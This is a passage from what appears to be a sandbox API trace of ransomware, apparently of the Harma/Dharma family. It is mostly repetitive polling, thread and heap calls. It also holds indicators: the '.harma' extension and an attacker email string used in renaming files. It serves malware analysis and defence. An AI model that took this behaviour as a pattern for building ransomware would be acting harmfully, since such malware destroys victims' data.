dwMilliseconds=0x64) returned 0x102 [0148.966] GetTickCount () returned 0x113513c [0148.966] GetTickCount () returned 0x113513c [0148.966] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0149.153] GetTickCount () returned 0x11351f7 [0149.153] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0149.365] GetTickCount () returned 0x11352c2 [0149.365] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0149.574] GetTickCount () returned 0x113537d [0149.574] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0149.813] GetTickCount () returned 0x1135467 [0149.813] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0150.127] GetTickCount () returned 0x113559f [0150.127] GetTickCount () returned 0x113559f [0150.127] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0150.528] GetTickCount () returned 0x1135735 [0150.528] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0150.985] GetTickCount () returned 0x11358f9 [0150.985] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0151.617] GetTickCount () returned 0x1135b79 [0151.617] GetTickCount () returned 0x1135b79 [0151.617] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0152.092] GetTickCount () returned 0x1135d4d [0152.092] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0152.282] GetTickCount () returned 0x1135e08 [0152.282] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0152.731] GetTickCount () returned 0x1135fad [0152.731] GetTickCount () returned 0x1135fad [0152.732] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0153.287] GetTickCount () returned 0x11361df [0153.287] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0153.651] GetTickCount () returned 0x1136346 [0153.651] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0154.232] GetTickCount () returned 0x1136587 [0154.232] GetTickCount () returned 0x1136587 [0154.232] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0154.813] GetTickCount () returned 0x11367c8 [0154.813] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0155.219] GetTickCount () returned 0x113696d [0155.219] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0156.435] GetTickCount () returned 0x1136e1f [0156.435] GetTickCount () returned 0x1136e1f [0156.435] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0157.077] GetTickCount () returned 0x11370ae [0157.077] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0157.465] GetTickCount () returned 0x1137224 [0157.465] GetTickCount () returned 0x1137224 [0157.465] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0157.990] GetTickCount () returned 0x1137427 [0157.990] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0158.537] GetTickCount () returned 0x1137649 [0158.537] GetTickCount () returned 0x1137649 [0158.537] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0158.742] GetTickCount () returned 0x1137714 [0158.743] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0159.237] GetTickCount () returned 0x1137907 [0159.237] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0159.487] GetTickCount () returned 0x1137a01 [0159.487] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0159.770] GetTickCount () returned 0x1137b19 [0159.770] GetTickCount () returned 0x1137b19 [0159.770] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0160.329] GetTickCount () returned 0x1137d4b [0160.329] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0160.733] GetTickCount () returned 0x1137ee1 [0160.733] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0160.842] GetTickCount () returned 0x1137f4e [0160.842] GetTickCount () returned 0x1137f4e [0160.842] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0161.238] GetTickCount () returned 0x11380d4 [0161.238] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0161.492] GetTickCount () returned 0x11381be [0161.492] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0161.716] GetTickCount () returned 0x1138289 [0161.716] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0162.148] GetTickCount () returned 0x113841e [0162.148] GetTickCount () returned 0x113841e [0162.148] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0162.710] GetTickCount () returned 0x1138631 [0162.710] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0163.274] GetTickCount () returned 0x1138853 [0163.274] GetTickCount () returned 0x1138853 [0163.274] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0163.624] GetTickCount () returned 0x113899a [0163.624] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0164.462] GetTickCount () returned 0x1138cc5 [0164.462] GetTickCount () returned 0x1138cc5 [0164.462] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0164.664] GetTickCount () returned 0x1138d81 [0164.664] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0165.027] GetTickCount () returned 0x1138ee7 [0165.027] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0165.472] GetTickCount () returned 0x11390ac [0165.472] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0165.864] GetTickCount () returned 0x1139232 [0165.864] GetTickCount () returned 0x1139232 [0165.864] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0165.992] GetTickCount () returned 0x11392af [0165.992] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0166.331] GetTickCount () returned 0x1139406 [0166.331] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0166.500] GetTickCount () returned 0x11394a2 [0166.500] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0166.861] GetTickCount () returned 0x1139618 [0166.861] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0167.188] GetTickCount () returned 0x1139760 [0167.188] GetTickCount () returned 0x1139760 [0167.188] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0167.574] GetTickCount () returned 0x11398c7 [0167.574] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0167.733] GetTickCount () returned 0x1139963 [0167.733] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0168.064] GetTickCount () returned 0x1139aba [0168.064] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0168.270] GetTickCount () returned 0x1139b85 [0168.270] GetTickCount () returned 0x1139b85 [0168.270] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0168.559] GetTickCount () returned 0x1139c9e [0168.559] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0168.823] GetTickCount () returned 0x1139da7 [0168.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0169.024] GetTickCount () returned 0x1139e72 [0169.025] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0169.368] GetTickCount () returned 0x1139fc9 [0169.368] GetTickCount () returned 0x1139fc9 [0169.368] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0169.903] GetTickCount () returned 0x113a1eb [0169.903] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0170.271] GetTickCount () returned 0x113a352 [0170.272] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0170.517] GetTickCount () returned 0x113a44b [0170.517] GetTickCount () returned 0x113a44b [0170.517] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0170.812] GetTickCount () returned 0x113a574 [0170.812] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0171.092] GetTickCount () returned 0x113a68c [0171.092] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0171.341] GetTickCount () returned 0x113a786 [0171.341] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0171.521] GetTickCount () returned 0x113a832 [0171.521] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0171.834] GetTickCount () returned 0x113a96a [0171.834] GetTickCount () returned 0x113a96a [0171.834] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x0 [0171.834] GetTickCount () returned 0x113a96a [0171.834] Sleep (dwMilliseconds=0x64) [0171.945] GetTickCount () returned 0x113a9d7 [0171.945] Sleep (dwMilliseconds=0x64) [0172.129] GetTickCount () returned 0x113aa92 [0172.129] Sleep (dwMilliseconds=0x64) [0172.238] GetTickCount () returned 0x113aaff [0172.238] Sleep (dwMilliseconds=0x64) [0172.341] WaitForMultipleObjects (nCount=0x4, lpHandles=0x24fff64*=0x134, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0174.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4d70020 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e870 | out: hHeap=0x300000) returned 1 [0174.448] lstrlenW (lpString=".harma") returned 6 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c270 | out: hHeap=0x300000) returned 1 [0174.448] lstrlenW (lpString=".[gillian.cher@aol.com]") returned 23 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x336c38 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e7c0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c078 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c090 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c0c0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c0d8 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c0a8 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c0f0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e7b0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c120 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c138 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c168 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e7f0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e7a0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c1b0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e7e0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c1e0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e800 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c150 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3359b0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x337e70 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x339d20 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x33ae80 | out: hHeap=0x300000) returned 1 [0174.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3579e0 | out: hHeap=0x300000) returned 1 [0174.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x35c150 [0174.449] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c150, Size=0x20) returned 0x335aa0 [0174.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x35c150 [0174.449] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c150, Size=0x20) returned 0x3359b0 [0174.449] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.449] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.449] Wow64DisableWow64FsRedirection (in: OldValue=0x24fff84 | out: OldValue=0x24fff84*=0x1) returned 1 [0174.449] lstrlenW (lpString="kernel32.dll") returned 12 [0174.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3359b0 | out: hHeap=0x300000) returned 1 [0174.449] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 Thread: id = 50 os_tid = 0x670 [0132.108] GetTickCount () returned 0x11310d3 [0132.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x24) returned 0x35ae78 [0132.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x35ae78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0132.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x35ae78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164 [0132.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x35ae78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c [0132.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x35ae78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170 [0132.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3511d0 [0132.116] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3511d0, Size=0x20) returned 0x335eb0 [0132.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3511d0 [0132.116] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3511d0, Size=0x20) returned 0x335e88 [0132.117] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0132.134] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0132.134] Wow64DisableWow64FsRedirection (in: OldValue=0x25fff84 | out: OldValue=0x25fff84*=0x0) returned 1 [0132.134] lstrlenW (lpString="kernel32.dll") returned 12 [0132.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335eb0 | out: hHeap=0x300000) returned 1 [0132.134] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0132.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335e88 | out: hHeap=0x300000) returned 1 [0132.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x37eea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188 [0132.137] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0132.477] GetTickCount () returned 0x1131249 [0132.477] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0132.712] GetTickCount () returned 0x1131333 [0132.712] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0132.926] GetTickCount () returned 0x113140e [0132.926] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0133.080] GetTickCount () returned 0x11314aa [0133.080] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0133.368] GetTickCount () returned 0x11315a3 [0133.368] GetTickCount () returned 0x11315a3 [0133.368] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0133.674] GetTickCount () returned 0x11316cc [0133.674] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0133.894] GetTickCount () returned 0x11317a6 [0133.894] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0134.032] GetTickCount () returned 0x1131832 [0134.032] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0134.449] GetTickCount () returned 0x11319c8 [0134.449] GetTickCount () returned 0x11319c8 [0134.449] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0134.799] GetTickCount () returned 0x1131b2f [0134.799] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0135.040] GetTickCount () returned 0x1131c28 [0135.040] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0135.357] GetTickCount () returned 0x1131d60 [0135.357] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0135.549] GetTickCount () returned 0x1131e0c [0135.549] GetTickCount () returned 0x1131e0c [0135.549] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0135.786] GetTickCount () returned 0x1131ef6 [0135.786] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0136.019] GetTickCount () returned 0x1131fd0 [0136.019] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0136.201] GetTickCount () returned 0x113208c [0136.201] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0136.358] GetTickCount () returned 0x1132128 [0136.358] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0136.684] GetTickCount () returned 0x1132202 [0136.684] GetTickCount () returned 0x1132202 [0136.684] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0136.992] GetTickCount () returned 0x113232b [0136.992] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0137.110] GetTickCount () returned 0x1132398 [0137.110] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0137.369] GetTickCount () returned 0x11324a1 [0137.369] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0137.554] GetTickCount () returned 0x113253d [0137.554] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0138.202] GetTickCount () returned 0x11327ad [0138.202] GetTickCount () returned 0x11327ad [0138.202] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0138.941] GetTickCount () returned 0x1132a6b [0138.941] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0139.220] GetTickCount () returned 0x1132b84 [0139.220] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0139.525] GetTickCount () returned 0x1132c9d [0139.525] GetTickCount () returned 0x1132c9d [0139.525] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0139.739] GetTickCount () returned 0x1132d67 [0139.739] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0140.427] GetTickCount () returned 0x1133006 [0140.427] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0140.758] GetTickCount () returned 0x113312f [0140.758] GetTickCount () returned 0x113312f [0140.758] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0141.075] GetTickCount () returned 0x1133267 [0141.075] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0141.312] GetTickCount () returned 0x1133351 [0141.312] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0141.653] GetTickCount () returned 0x11334a8 [0141.653] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0141.869] GetTickCount () returned 0x1133582 [0141.869] GetTickCount () returned 0x1133582 [0141.869] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0142.034] GetTickCount () returned 0x113361e [0142.034] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0142.167] GetTickCount () returned 0x11336ab [0142.167] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0142.311] GetTickCount () returned 0x1133737 [0142.311] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0142.492] GetTickCount () returned 0x11337f2 [0142.492] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0142.863] GetTickCount () returned 0x1133959 [0142.863] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0143.521] GetTickCount () returned 0x1133bf8 [0143.521] GetTickCount () returned 0x1133bf8 [0143.521] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0143.714] GetTickCount () returned 0x1133cb3 [0143.714] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0143.852] GetTickCount () returned 0x1133d3f [0143.852] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0144.057] GetTickCount () returned 0x1133e0a [0144.057] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0144.300] GetTickCount () returned 0x1133f04 [0144.300] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0144.607] GetTickCount () returned 0x113402c [0144.607] GetTickCount () returned 0x113402c [0144.607] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0145.027] GetTickCount () returned 0x11341d1 [0145.027] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0145.279] GetTickCount () returned 0x11342cb [0145.279] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0145.691] GetTickCount () returned 0x1134470 [0145.691] GetTickCount () returned 0x1134470 [0145.691] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0146.155] GetTickCount () returned 0x1134635 [0146.155] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0146.581] GetTickCount () returned 0x11347e9 [0146.581] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0146.737] GetTickCount () returned 0x1134885 [0146.737] GetTickCount () returned 0x1134885 [0146.737] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0147.070] GetTickCount () returned 0x11349cd [0147.070] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0147.519] GetTickCount () returned 0x1134b91 [0147.519] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0147.914] GetTickCount () returned 0x1134d17 [0147.914] GetTickCount () returned 0x1134d17 [0147.914] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0148.378] GetTickCount () returned 0x1134eeb [0148.378] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0148.677] GetTickCount () returned 0x1135014 [0148.677] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0148.966] GetTickCount () returned 0x113513c [0148.966] GetTickCount () returned 0x113513c [0148.966] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0149.153] GetTickCount () returned 0x11351f7 [0149.153] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0149.365] GetTickCount () returned 0x11352c2 [0149.365] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0149.574] GetTickCount () returned 0x113537d [0149.574] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0149.813] GetTickCount () returned 0x1135467 [0149.813] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0150.127] GetTickCount () returned 0x113559f [0150.127] GetTickCount () returned 0x113559f [0150.127] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0150.528] GetTickCount () returned 0x1135735 [0150.529] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0150.985] GetTickCount () returned 0x11358f9 [0150.985] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0151.617] GetTickCount () returned 0x1135b79 [0151.617] GetTickCount () returned 0x1135b79 [0151.617] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0152.092] GetTickCount () returned 0x1135d4d [0152.092] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0152.282] GetTickCount () returned 0x1135e08 [0152.282] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0152.732] GetTickCount () returned 0x1135fad [0152.732] GetTickCount () returned 0x1135fad [0152.732] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0153.287] GetTickCount () returned 0x11361df [0153.287] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0153.652] GetTickCount () returned 0x1136346 [0153.652] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0154.232] GetTickCount () returned 0x1136587 [0154.232] GetTickCount () returned 0x1136587 [0154.232] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0154.814] GetTickCount () returned 0x11367d8 [0154.814] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0155.219] GetTickCount () returned 0x113696d [0155.219] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0156.435] GetTickCount () returned 0x1136e1f [0156.435] GetTickCount () returned 0x1136e1f [0156.435] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0157.077] GetTickCount () returned 0x11370ae [0157.077] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0157.464] GetTickCount () returned 0x1137224 [0157.464] GetTickCount () returned 0x1137224 [0157.464] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0157.989] GetTickCount () returned 0x1137427 [0157.989] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0158.537] GetTickCount () returned 0x1137649 [0158.537] GetTickCount () returned 0x1137649 [0158.537] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0158.743] GetTickCount () returned 0x1137714 [0158.743] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0159.237] GetTickCount () returned 0x1137907 [0159.237] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0159.487] GetTickCount () returned 0x1137a01 [0159.487] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0159.769] GetTickCount () returned 0x1137b19 [0159.769] GetTickCount () returned 0x1137b19 [0159.769] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0160.329] GetTickCount () returned 0x1137d4b [0160.329] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0160.733] GetTickCount () returned 0x1137ee1 [0160.733] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0160.842] GetTickCount () returned 0x1137f4e [0160.842] GetTickCount () returned 0x1137f4e [0160.842] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0161.238] GetTickCount () returned 0x11380d4 [0161.238] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0161.491] GetTickCount () returned 0x11381be [0161.491] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0161.716] GetTickCount () returned 0x1138289 [0161.716] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0162.148] 